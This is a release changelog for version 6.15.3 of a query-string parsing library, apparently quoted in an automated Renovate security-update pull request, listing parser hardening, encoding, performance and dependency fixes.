v6.15.3

Compare Source

  • [Fix] parse: enforce throwOnLimitExceeded for cumulative array growth via combine/merge
  • [Fix] utils: respect encoding of surrogate pairs across chunks (#​559)
  • [Robustness] parse: throw the arrayLimit error before splitting oversized comma values
  • [Robustness] utils.merge / utils.assign: avoid invoking __proto__ setter when copying own properties
  • [Robustness] utils: enforce arrayLimit consistently across merge's array paths
  • [Perf] utils: make compact O(n) via a side-channel visited-set instead of Array.indexOf
  • [Deps] update side-channel
  • [Dev Deps] update eslint, mock-property, tape
  • [Tests] parse: characterize current lenient handling of unbalanced bracket keys (#​558)

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@renovate renovate Bot added dependencies Pull requests that update a dependency file renovate security labels Sep 1, 2026
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renovate Bot force-pushed the renovate/dev-security-patches branch from 19de0f4 to c230174 Compare September 2, 2026 20:46
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